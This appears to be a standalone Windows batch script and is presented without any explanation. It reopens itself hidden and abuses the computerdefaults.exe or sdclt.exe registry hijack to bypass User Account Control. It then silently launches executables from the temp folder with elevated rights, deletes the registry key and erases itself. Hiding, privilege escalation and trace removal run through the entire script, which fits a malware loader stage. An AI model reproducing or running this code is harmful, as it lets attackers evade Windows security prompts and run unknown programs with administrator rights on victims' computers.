@echo off
if not "%1"=="hidden" (
    powershell -Command "Start-Process -WindowStyle Hidden -FilePath '%~f0' -ArgumentList 'hidden'"
    exit /b
)
set "uac_prog="
set "reg_key="
if exist "%windir%\System32\computerdefaults.exe" (
    set "uac_prog=computerdefaults.exe"
    set "reg_key=HKCU\Software\Classes\ms-settings\Shell\Open\command"
) else if exist "%windir%\System32\sdclt.exe" (
    set "uac_prog=sdclt.exe"
    set "reg_key=HKCU\Software\Classes\Folder\shell\open\command"
) else (
    start /b "" cmd /c "timeout /t 2 /nobreak >nul & del /f /q ""%~f0"""
    exit /b
)
set "exe_cmd="
if exist "%TEMP%\1.exe" set "exe_cmd=%exe_cmd% start /b \"\" \"%TEMP%\1.exe\" & "
if exist "%TEMP%\2.exe" set "exe_cmd=%exe_cmd% start /b \"\" \"%TEMP%\2.exe\" & "
if "%exe_cmd%"=="" (
    start /b "" cmd /c "timeout /t 2 /nobreak >nul & del /f /q ""%~f0"""
    exit /b
)
set "exe_cmd=%exe_cmd% reg delete \"%reg_key%\" /f"
reg add "%reg_key%" /d "cmd.exe /c %exe_cmd%" /f
reg add "%reg_key%" /v "DelegateExecute" /f
start "" "%windir%\System32\%uac_prog%"
start /b "" cmd /c "timeout /t 3 /nobreak >nul & del /f /q ""%~f0"""
exit
